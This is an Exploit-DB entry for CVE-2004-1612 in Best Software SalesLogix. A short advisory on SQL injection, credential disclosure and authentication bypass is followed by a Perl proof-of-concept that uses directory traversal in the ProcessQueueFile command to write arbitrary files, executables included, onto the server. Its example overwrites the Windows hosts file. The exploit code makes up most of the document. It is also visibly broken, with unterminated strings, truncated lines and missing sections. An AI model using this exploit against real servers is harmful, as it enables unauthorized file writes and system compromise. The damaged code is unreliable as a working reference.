best software saleslogix 2000.0 - Multiple Vulnerabilities

ID EDB-ID:24688
Type exploitdb
Reporter Carl Livitt
Modified 2004-10-18T00:00:00


Best Software SalesLogix 2000.0 Multiple Remote Vulnerabilities. CVE-2004-1612. Remote exploit for windows platform


Best Software SalesLogix is affected by multiple vulnerabilities. These issues are due to design errors that reveal sensitive information, access control validation issues that allow unauthorized access and input validation issues facilitating SQL injection attacks.

An attacker may leverage these issues to manipulate and disclose database contents through SQL injection attacks, steal authentication credentials due to information disclosure vulnerabilities and bypass authentication to gain administrator access to the server.

# Proof of concept exploit: Arbitrary file creation for SLX server 6.1
# Written by Carl Livitt, Agenda Security Services, June 2004.
# This exploit abuses the ProcessQueueFile command on SLX 6.1 (others?)
# to create arbitrary files on the filesystem of the SLX server. By
# directory traversal, it is possible to escape from the Queue directory
# write anywhere on the SLX server's filesystem.

use IO::Socket;

print "slx_uploader - Uploads arbitrary files to Sage SalesLogix
print "By Carl Livitt @ Agenda Security Services, June 2004\n\n";

if($#ARGV!=2) {
        print "Syntax: $0 host filename_to_create file_to_upload\n\n";
        print "Example:\n";
        print "  $0
\\\\winnt\\\\system32\\\\drivers\\\\etc\\\\hosts evil.txt\n\n";
        print "The above example would upload the local file 'evil.txt'
to the SLX\n";
        print "server on, overwriting the existing hosts
        print "It is possible to upload binary files, e.g. executables,
with this exploit.\n\n";

} else {

if((stat($upload_file))[7] > 4096) {
        print "[*] Error! Files to be uploaded must be less than 4k in

print "[+] Building payload\n";
$contentLen=43 + length($create_file);
$exploit="\x00"x10 . chr($contentLen) . "\x00"x3 .
"ProcessQueueFile\x00" . "..\\"x8 . "$create_file" . "\x00"x6;

open(UPLOAD, '<', $upload_file) || die "Could not open local file

while(($line=<UPLOAD>)) {


print "[+] Connecting to server $host:1707\n";
$sock=IO::Socket::INET->new("$host:1707") || do {print "[-] Could not
connect to server\n"; exit(1); };

print "[+] Sending exploit payload\n";

print "[+] Waiting for response\n";

if($data =~ /Received/) {
        print "[+] Exploit successful\n";
} else {
        print "[*] Exploit may not have worked.\n";